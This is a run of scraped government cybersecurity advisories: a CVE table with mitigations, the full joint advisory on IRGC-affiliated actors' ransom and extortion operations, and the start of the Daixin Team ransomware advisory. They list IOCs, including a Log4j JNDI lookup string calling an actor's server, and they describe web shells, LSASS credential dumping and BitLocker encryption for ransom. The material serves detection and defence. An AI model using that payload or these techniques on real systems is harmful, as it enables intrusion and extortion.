Detection Methods

  • Look at the Snort Rules provided by Cisco.

Vulnerable Technologies and Versions

Cisco Hyperflex Hx Data Platform 4.0(2A)

Table XI: Buffalo CVE-2021-20090

Buffalo CVE-2021-20090 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

A path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote malicious actors to bypass authentication.

Recommended Mitigations

  • Update firmware to latest available version.

 

Detection Methods

Vulnerable Technologies and Versions

Buffalo Wsr-2533Dhpl2-Bk Firmware

Buffalo Wsr-2533Dhp3-Bk Firmware

Table XII: Atlassian CVE-2021-26084

Atlassian CVE-2021-26084 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23 and from version 6.14.0 before 7.4.11, version 7.5.0 before 7.11.6, and version 7.12.0 before 7.12.5.

Recommended Mitigations

  • Update confluence version to 6.13.23, 7.4.11, 7.11.6, 7.12.5, and 7.13.0.
  • Avoid using end-of-life devices.
  • Use Intrusion Detection Systems (IDS).

Detection Methods

N/A

Vulnerable Technologies and Versions

Atlassian Confluence

Atlassian Confluence Server

Atlassian Data Center

Atlassian Jira Data Center

Table XIII: Hikvision CVE-2021-36260

Hikvision CVE-2021-36260 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A command injection vulnerability exists in the web server of some Hikvision products. Due to the insufficient input validation, a malicious actor can exploit the vulnerability to launch a command injection by sending some messages with malicious commands.

Recommended Mitigations

  • Apply the latest firmware updates.

Detection Methods

N/A

Vulnerable Technologies and Versions

Various Hikvision Firmware to include Ds, Ids, and Ptz

References

https://www.cisa.gov/uscert/ncas/current-activity/2021/09/28/rce-vulnerability-hikvision-cameras-cve-2021-36260  

Table XIV: Sitecore CVE-2021-42237

Sitecore CVE-2021-42237 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Sitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to an insecure deserialization attack where it is possible to achieve remote command execution on the machine. No authentication or special configuration is required to exploit this vulnerability.

Recommended Mitigations

  • Update to latest version.
  • Delete the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx.

Detection Methods

Vulnerable Technologies and Versions

Sitecore Experience Platform 7.5, 7.5 Update 1, and 7.5 Update 2

Sitecore Experience Platform 8.0, 8.0 Service Pack 1, and 8.0 Update 1-Update 7

Sitecore Experience Platform 8.0 Service Pack 1

Sitecore Experience Platform 8.1, and  Update 1-Update 3

Sitecore Experience Platform 8.2, and Update 1-Update 7

Table XV: F5 CVE-2022-1388

F5 CVE-2022-1388 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Recommended Mitigations

  • Block iControl REST access through the self IP address.
  • Block iControl REST access through the management interface.
  • Modify the BIG-IP httpd configuration.

Detection Methods

N/A

Vulnerable Technologies and Versions

Big IP versions:

16.1.0-16.1.2

15.1.0-15.1.5

14.1.0-14.1.4

13.1.0-13.1.4

12.1.0-12.1.6

11.6.1-11.6.5

Table XVI: Apache CVE-2022-24112

Apache CVE-2022-24112 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

A malicious actor can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX’s data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.

Recommended Mitigations

  • In affected versions of Apache APISIX, you can avoid this risk by explicitly commenting out batch-requests in the conf/config.yaml and conf/config-default.yaml files and restarting Apache APISIX.
  • Update to 2.10.4 or 2.12.1.

Detection Methods

N/A

Vulnerable Technologies and Versions

Apache APISIX between 1.3 and 2.12.1 (excluding 2.12.1)

LTS versions of Apache APISIX between 2.10.0 and 2.10.4

Table XVII: ZOHO CVE-2021-40539

ZOHO CVE-2021-40539 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Zoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution.

Recommended Mitigations

  • Upgrade to latest version.

Detection Methods

  • Run ManageEngine’s detection tool.
  • Check for specific files and logs.

Vulnerable Technologies and Versions

Zoho Corp ManageEngine ADSelfService Plus

Table XVIII: Microsoft CVE-2021-26857

Microsoft CVE-2021-26857 CVSS 3.0: 7.8 (High)

Vulnerability Description

Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.

Recommended Mitigations

  • Update to support latest version.
  • Install Microsoft security patch.
  • Use Microsoft Exchange On-Premises Mitigation Tool.

Detection Methods

  • Run Exchange script: https://github.com/microsoft/CSS-Exchange/tree/main/Security.
  • Hashes can be found here: https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log.

Vulnerable Technologies and Versions

Microsoft Exchange Servers

Table XIX: Microsoft CVE-2021-26858

Table XX: Microsoft CVE-2021-27065

Table XXI: Apache CVE-2021-41773

Apache CVE-2021-41773 CVSS 3.0: 7.5 (High)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. A malicious actor could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration “require all denied,” these requests can succeed. Enabling CGI scripts for these aliased paths could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 is incomplete (see CVE-2021-42013).

Recommended Mitigations

Detection Methods

  • Commercially available scanners can detect CVE.

Vulnerable Technologies and Versions

Apache HTTP Server 2.4.49 and 2.4.50

Fedoraproject Fedora 34 and 35

Oracle Instantis Enterprise Track 17.1-17.3

Netapp Cloud Backup

 

Revisions

Initial Publication: October 6, 2022

 

This product is provided subject to this Notification and this Privacy & Use policy.

source

AA22-257A: Iranian Islamic Revolutionary Guard Corps-Affiliated Cyber Actors Exploiting Vulnerabilities for Data Extortion and Disk Encryption for Ransom Operations

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Exploiting Vulnerabilities

Summary

Actions to take today to protect against ransom operations:

• Keep systems and software updated and prioritize remediating known exploited vulnerabilities.
• Enforce MFA.
• Make offline backups of your data.

This joint Cybersecurity Advisory (CSA) is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), U.S. Cyber Command (USCC) – Cyber National Mission Force (CNMF), the Department of the Treasury (Treasury), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), and the United Kingdom’s National Cyber Security Centre (NCSC) to highlight continued malicious cyber activity by advanced persistent threat (APT) actors that the authoring agencies assess are affiliated with the Iranian Government’s Islamic Revolutionary Guard Corps (IRGC). Note: The IRGC is an Iranian Government agency tasked with defending the Iranian Regime from perceived internal and external threats. Hereafter, this advisory refers to all the coauthors of this advisory as “the authoring agencies.”

This advisory updates joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, which provides information on these Iranian government-sponsored APT actors exploiting known Fortinet and Microsoft Exchange vulnerabilities to gain initial access to a broad range of targeted entities in furtherance of malicious activities, including ransom operations. The authoring agencies now judge these actors are an APT group affiliated with the IRGC.

Since the initial reporting of this activity in the FBI Liaison Alert System (FLASH) report APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity from May 2021, the authoring agencies have continued to observe these IRGC-affiliated actors exploiting known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities for initial access. The IRGC-affiliated actors have used this access for follow-on activity, including disk encryption and data extortion, to support ransom operations.

The IRGC-affiliated actors are actively targeting a broad range of entities, including entities across multiple U.S. critical infrastructure sectors as well as Australian, Canadian, and United Kingdom organizations. These actors often operate under the auspices of Najee Technology Hooshmand Fater LLC, based in Karaj, Iran, and Afkar System Yazd Company, based in Yazd, Iran. The authoring agencies assess the actors are exploiting known vulnerabilities on unprotected networks rather than targeting specific targeted entities or sectors.

This advisory provides observed tactics, techniques, and indicators of compromise (IOCs) that the authoring agencies assess are likely associated with this IRGC-affiliated APT. The authoring agencies urge organizations, especially critical infrastructure organizations, to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from these IRGC-affiliated cyber actors.

For a downloadable copy of IOCs, see AA22-257A.stix.

For more information on Iranian state-sponsored malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage and FBI’s Iran Threat webpage.

Download the PDF version of this report: pdf, 836 kb

 

Technical Details

Threat Actor Activity

As reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the authoring agencies have observed Iranian government-sponsored APT actors scanning for and/or exploiting the following known Fortinet FortiOS and Microsoft Exchange server vulnerabilities since early 2021 to gain initial access to a broad range of targeted entities: CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, and CVE-2021-34473 (a ProxyShell vulnerability). The authoring agencies have also observed these APT actors leveraging CVE-2021-34473 against U.S. networks in combination with ProxyShell vulnerabilities CVE-2021-34523 and CVE-2021-31207. The NCSC judges that Yazd, Iran-based company Afkar System Yazd Company is actively targeting UK organizations. Additionally, ACSC judges that these APT actors have used CVE-2021-34473 in Australia to gain access to systems. The APT actors can leverage this access for further malicious activities, including deployment of tools to support ransom and extortion operations, and data exfiltration.

Since the activity was reported in 2021, these IRGC-affiliated actors have continued to exploit known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities CVE-2021-44228 (“Log4Shell”), CVE-2021-45046, and CVE-2021-45105 for initial access.

The IRGC-affiliated actors have used their access for ransom operations, including disk encryption and extortion efforts. After gaining access to a network, the IRGC-affiliated actors likely determine a course of action based on their perceived value of the data. Depending on the perceived value, the actors may encrypt data for ransom and/or exfiltrate data. The actors may sell the data or use the exfiltrated data in extortion operations or “double extortion” ransom operations where a threat actor uses a combination of encryption and data theft to pressure targeted entities to pay ransom demands.

IRGC-affiliated actor activity observed by the authoring agencies includes:

  • In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) on a Microsoft Exchange server to gain access to the network of a U.S. police department. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom.
  • In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), on a Microsoft Exchange server to gain access to the network of a U.S. regional transportation company. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom. This activity disrupted the transportation company’s operations for an extended period.
  • In February 2022, the actors exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105) in a VMware Horizon application to gain access to the network of a U.S. municipal government, move laterally within the network, establish persistent access, initiate crypto-mining operations, and conduct additional malicious activity.
  • In February 2022, the actors may have exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021) to gain access to the network of a U.S. aerospace company. The actors leveraged a server that the authoring agencies assess is associated with the IRGC-affiliated actors to exfiltrate data from the company’s network.

MITRE ATT&CK® Tactics and Techniques

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See Appendix B for a table of the MITRE ATT&CK tactics and techniques observed.

The authoring agencies assess the following tactics and techniques are associated with this activity.

Resource Development [TA0042]

The IRGC-affiliated actors have used the following malicious and legitimate tools [T1588.001, T1588.002] for a variety of tactics across the enterprise spectrum:

  • Fast Reverse Proxy (FRP) for command and control (C2)
  • Plink for C2
  • Remote Desktop Protocol (RDP) for lateral movement
  • BitLocker for data encryption
  • SoftPerfect Network Scanner for system network configuration discovery

Note: For additional tools used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Initial Access [TA0001]

As stated in the Technical Details section previously reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the IRGC-affiliated actors gained initial access by exploiting known vulnerabilities [T1190].

The following IOCs, observed as of March 2022, are indicative of ProxyShell vulnerability exploitation on targeted entity networks:

  • Web shells with naming conventions aspx_[11 randomly generated alphabetic characters].aspx, login.aspx, or default.aspx in any of the following directories:
    • C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyecpauth
    • C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyowaauth
    • C:inetpubwwwrootaspnet_client

The following IOCs, observed as of December 2021, are indicative of Log4j vulnerability exploitation on targeted entity networks:

  • ${jndi:ldap//148.251.71.182:1389/RCE} (user agent string)
  • RCE.class

Execution [TA0002]

The IRGC-affiliated actors may have made modifications to the Task Scheduler [T1053.005]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity:

  • Wininet
  • Wininet’
  • WinLogon
  • CacheTask

Note: The potential exists that tasks associated with CacheTask or Wininet may be legitimate. For additional tasks used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Persistence [TA0003]

The IRGC-affiliated actors established new user accounts on domain controllers, servers, workstations, and active directories [T1136.001, T1136.002]. The actors enabled a built-in Windows account (DefaultAccount) and escalated privileges to gain administrator-level access to a network. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity:

  • Domain Admin
  • it_admin
  • DefaultAccount
  • Default01

Note: For additional account usernames associated with this activity, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Exfiltration [TA0010]

The authoring agencies have observed the IRGC-affiliated actors dumping and subsequently exfiltrating the Local Security Authority Subsystem Service (LSASS) process memory on targeted entity networks in furtherance of credential harvesting. The following IOCs are associated with data exfiltration from targeted entity networks:

  • C:WindowsTempsassl[.]pmd
  • C:WindowsTempssasl[.]zip
  • C:UsersDefaultAccountAppDataLocalTemplsass[.]dmp
  • C:UsersDefaultAccountAppDataLocalTemplsass[.]zip

Impact [TA0040]

The IRGC-affiliated actors forced BitLocker activation on host networks to encrypt data [T1486] and held the decryption keys for ransom. The corresponding ransom notes were sent to the targeted entity, left on the targeted entity network as a .txt file or printed on the targeted entity’s networked printer(s). The notes included the following contact information:

Note: For additional contact information included in ransom notes, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

DETECTION

The authoring agencies recommend that organizations using Microsoft Exchange servers, Fortinet devices, and/or VMware Horizon applications investigate potential suspicious activity in their networks.

  • Search for IOCs. Collect known-bad IOCs and search for them in network and host artifacts.
    • Note: Refer to Appendix A for IOCs.
  • Review Log4j vulnerabilities, including CVE-2021-44228, CVE-2021-45046, and CVE-2021- 45105.
  • Review Microsoft Exchange ProxyShell vulnerabilities, including CVE-2021-34473, CVE-2021- 34523, and CVE-2021-31207.
  • As a precaution, review additional Microsoft Exchange vulnerabilities, including CVE-2021- 31196, CVE-2021-31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470 because the authoring agencies have seen the actors broadly target Microsoft Exchange servers.
  • Investigate exposed Microsoft Exchange servers, both patched and unpatched, for compromise.
  • Review Fortinet FortiOS vulnerabilities, including CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591.
  • Review VMware vulnerabilities, including any relevant vulnerabilities listed on the VMware security advisory page.
  • Investigate changes to RDP, firewall, and Windows Remote Management (WinRM) configurations that may allow malicious cyber actors to maintain persistent access.
  • Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.
  • Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating-system and scheduled tasks—including each step these tasks perform—for unrecognized “actions.”
  • Review antivirus logs for indications they were unexpectedly turned off.
  • Look for WinRAR and FileZilla in unexpected locations.
  • Review servers and workstations for malicious executable files masquerading as legitimate Windows processes. Malicious files may not be found in the expected directory and may have cmd.exe or powershell.exe as their parent process.

Note: For additional approaches on uncovering malicious cyber activity, see joint advisory Technical Approaches to Uncovering and Remediating Malicious Activity, authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

 

Mitigations

The authoring agencies urge network defenders to prepare for and mitigate potential cyber threats immediately by implementing the mitigations below.

Implement and Enforce Backup and Restoration Policies and Procedures

  • Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware or other destructive data incident and protect against data losses.
    • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.
  • Activate BitLocker on all networks and securely back up BitLocker keys with Microsoft and with an independent offline backup.
  • Create, maintain, and exercise a basic cyber incident response plan that includes response procedures for a ransom incident.
  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud).

Patch and Update Systems

  • U.S. federal, state, local, tribal, and territorial (SLTT) government and critical infrastructure organizations: Implement free CISA Cyber Hygiene Services Vulnerability Scanning to enable continuous scans of public, static IPs for accessible services and vulnerabilities.
  • Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. Regularly check software updates and end-of-life notifications. Consider leveraging a centralized patch management system to automate and expedite the process.
  • Immediately patch software affected by vulnerabilities identified in this advisory: CVE-2021- 34473, CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, CVE-2021-34523, CVE-2021- 31207, CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-31196, CVE-2021- 31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470.

Evaluate and Update Blocklists and Allowlists

  • Regularly evaluate and update blocklists and allowlists.
  • If FortiOS is not used by your organization, add the key artifact files used by FortiOS to your organization’s execution blocklist. Prevent any attempts to install or run this program and its associated files.

Implement Network Segmentation

  • Implement network segmentation to restrict a malicious threat actor’s lateral movement.

Secure User Accounts

  • Audit user accounts with administrative privileges and configure access controls under the principles of least privilege and separation of duties.
  • Require administrator credentials to install software.

Implement Multifactor Authentication

  • Use multifactor authentication where possible, particularly for webmail, virtual private networks (VPNs), accounts that access critical systems, and privileged accounts that manage backups.

Use Strong Passwords

Secure and Monitor RDP and other Potentially Risky Services

  • If you use RDP, restrict it to limit access to resources over internal networks. After assessing risks, if your organization deems RDP operationally necessary, restrict the originating sources, and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.
  • Disable unused remote access/RDP ports.
  • Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts (to block brute force campaigns), and log RDP login attempts.

Use Antivirus Programs

  • Install and regularly update antivirus and anti-malware software on all hosts.

Secure Remote Access

  • Only use secure networks.
  • Consider installing and using a VPN for remote access.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Appendix B).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESPONDING TO RANSOMWARE OR EXTORTION INCIDENTS

If a ransomware or extortion incident occurs at your organization:

Note: The authoring agencies strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks.

RESOURCES

  • The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely.
  • For more information on malicious cyber activity affiliated with the Iranian government- sponsored malicious cyber activity, see us-cert.cisa.gov/Iran and FBI’s Iran Threat page.
  • For information and resources on protecting against and responding to ransomware or extortion activity, refer to StopRansomware.gov, the U.S. centralized, whole-of-government webpage providing ransomware resources and alerts.
  • The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.
  • CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate malicious activity.
  • ACSC can provide tailored cyber security advice and assistance, reporting, and incident response support at cyber.gov.au and via 1300 292 371 (1300 CYBER1).

PURPOSE

This advisory was developed by U.S., Australian, Canadian, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. FBI, CISA, NSA, USCC-CNMF, DoT, ACSC, CCCS, and NCSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.

APPENDIX A: INDICATORS OF COMPROMISE

IP addresses and executables files are listed below. For a downloadable copy of IOCs, see AA22- 257A.stix.

IP Addresses

  • 54.39.78[.]148
  • 95.217.193[.]86
  • 104.168.117[.]149
  • 107.173.231[.]114
  • 144.76.186[.]88
  • 148.251.71[.]182
  • 172.245.26[.]118
  • 185.141.212[.]131
  • 198.12.65[.]175
  • 198.144.189[.]74

Note: Some of these observed IP addresses may be outdated. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Malicious Domains

  • newdesk[.]top
  • symantecserver[.]co
  • msupdate[.]us
  • msupdate[.]top
  • gupdate[.]us
  • aptmirror[.]eu
  • buylap[.]top
  • winstore[.]us
  • tcp443[.]org
  • mssync[.]one
  • upmirror[.]top
  • tcp443 (subdomain)
  • kcp53 (subdomain)

Files

Malicious files observed in this activity are identified in Table 1. Many of the below malicious files are masquerading as legitimate Windows files; therefore, file names alone should not be treated as an indicator of compromise. Note: For additional malicious files observed, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Filename:

Wininet[.]xml

Path:

C:WindowsTempwininet[.]xml

MD5:

d2f4647a3749d30a35d5a8faff41765e

SHA-1:

0f676bc786db3c44cac4d2d22070fb514b4cb64c

SHA-256:

559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e

Filename:

Wininet’[.]xml

MD5:

2e1e17a443dc713f13f45a9646fc2179

SHA-1:

e75bfc0dd779d9d8ac02798b090989c2f95850dc

Filename:

WinLogon[.]xml

Path:

C:WindowsTempWinLogon[.]xml

MD5:

49c71178fa212012d710f11a0e6d1a30

SHA-1:

226f0fbb80f7a061947c982ccf33ad65ac03280f

SHA-256:

bcc2e4d96e7418a85509382df6609ec9a53b3805effb7ddaed093bdaf949b6ea

Filename:

Wininet[.]bat

Path:

C:Windowswininet[.]bat

MD5:

5f098b55f94f5a448ca28904a57c0e58

SHA-1:

27102b416ef5df186bd8b35190c2a4cc4e2fbf37

SHA-256:

668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0

Filename:

Winlogon[.]bat

Path:

C:Windowswinlogon[.]bat

MD5:

7ac4633bf064ebba9666581b776c548f

SHA-1:

524443dd226173d8ba458133b0a4084a172393ef

SHA-256:

d14d546070afda086a1c7166eaafd9347a15a32e6be6d5d029064bfa9ecdede7

Filename:

CacheTask[.]bat

Path:

C:\ProgramDataMicrosoftCacheTask[.]bat

MD5:

ee8fd6c565254fe55a104e67cf33eaea

SHA-1:

24ed561a1ddbecd170acf1797723e5d3c51c2f5d

SHA-256:

c1723fcad56a7f18562d14ff7a1f030191ad61cd4c44ea2b04ad57a7eb5e2837

Filename:

Task_update[.]exe

Path:

C:WindowsTemptask_update[.]exe

MD5:

cacb64bdf648444e66c82f5ce61caf4b

SHA-1:

3a6431169073d61748829c31a9da29123dd61da8

SHA-256:

12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a

Filename:

Task[.]exe

MD5:

5b646edb1deb6396082b214a1d93691b

SHA-1:

763ca462b2e9821697e63aa48a1734b10d3765ee

SHA-256:

17e95ecc7fedcf03c4a5e97317cfac166b337288562db0095ccd24243a93592f

Filename:

dllhost[.]exe

Path:

C:Windowsdllhost[.]exe

MD5:

0f8b592126cc2be0e9967d21c40806bc

9a3703f9c532ae2ec3025840fa449d4e

SHA-1:

3da45558d8098eb41ed7db5115af5a2c6 1c543af

8ece87086e8b5aba0d1cc4ec3804bf74e 0b45bee

SHA-256:

724d54971c0bba8ff32aeb6044d3b3fd57 1b13a4c19cada015ea4bcab30cae26

1604e69d17c0f26182a3e3ff65694a4945

0aafd56a7e8b21697a932409dfd81e

Filename:

svchost[.]exe

Path:

C:Windowssvchost[.]exe

MD5:

68f58e442fba50b02130eedfc5fe4e5b

298d41f01009c6d6240bc2dc7b769205

SHA-1:

76dd6560782b13af3f44286483e157848

efc0a4e

6ca62f4244994b5fbb8a46bdfe62aa1c95 8cebbd

SHA-256:

b04b97e7431925097b3ca4841b894139 7b0b88796da512986327ff66426544ca

8aa3530540ba023fb29550643beb00c9c 29f81780056e02c5a0d02a1797b9cd9

Filename:

User[.]exe

Path:

C:WindowsTempuser[.]exe

MD5:

bd131ebfc44025a708575587afeebbf3

f0be699c8aafc41b25a8fc0974cc4582

SHA-1:

8b23b14d8ec4712734a5f6261aed40942 c9e0f68

6bae2d45bbd8c4b0a59ba08892692fe86 e596154

SHA-256:

b8a472f219658a28556bab4d6d109fdf3 433b5233a765084c70214c973becbbd

7b5fbbd90eab5bee6f3c25aa3c2762104 e219f96501ad6a4463e25e6001eb00b

Filename:

Setup[.]bat

Path:

C:UsersDefaultAccountDesktopNew foldersetup[.]bat

MD5:

7fdc2d007ef0c1946f1f637b87f81590

Filename:

Ssasl[.]pmd

Path:

C:WindowsTempssasl[.]pmd

Filename:

Ssasl[.]zip

Path:

C:WindowsTempssasl[.]zip

Filename:

netscanold[.]exe

Path:

C:UsersDefaultAccountDesktopnetscanoldnetscanold[.]exe

Filename:

scan[.]csv

Path:

C:UsersDefaultAccountDesktopscan[.]csv

Filename:

lsass[.]dmp

Path:

C:UsersDefaultAccountAppDataLocalTemplsass[.]dmp

Filename:

lsass[.]zip

Path:

C:UsersDefaultAccountAppDataLocalTemplsass[.]zip

 

APPENDIX B: MITRE ATT&CK TACTICS AND TECHNIQUES

Table 2 identifies MITRE ATT&CK Tactics and techniques observed in this activity.

 

 

Revisions

September 14, 2022: Initial Version

 

This product is provided subject to this Notification and this Privacy & Use policy.

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AA22-294A: #StopRansomware: Daixin Team

Posted on by

Daixin Team is a ransomware and data extortion group

Summary

Actions to take today to mitigate cyber threats from ransomware:

• Install updates for operating systems, software, and firmware as soon as they are released.
• Require phishing-resistant MFA for as many services as possible.
• Train users to recognize and report phishing attempts.

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Department of Health and Human Services (HHS) are releasing this joint CSA to provide information on the “Daixin Team,” a cybercrime group that is actively targeting U.S. businesses, predominantly in the Healthcare and Public Health (HPH) Sector, with ransomware and data extortion operations.

This joint CSA provides TTPs and IOCs of Daixin actors obtained from FBI threat response activities and third-party reporting.

Download the PDF version of this report: pdf, 591 KB

Download the IOCs: .stix 23.2 kb

 

Technical Details

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.

Cybercrime actors routinely target HPH Sector organizations with ransomware:

  • As of October 2022, per FBI Internet Crime Complaint Center (IC3) data, specifically victim reports across all 16 critical infrastructure sectors, the HPH Sector accounts for 25 percent of ransomware complaints.
  • According to an IC3 annual report in 2021, 649 ransomware reports were made across 14 critical infrastructure sectors; the HPH Sector accounted for the most reports at 148.

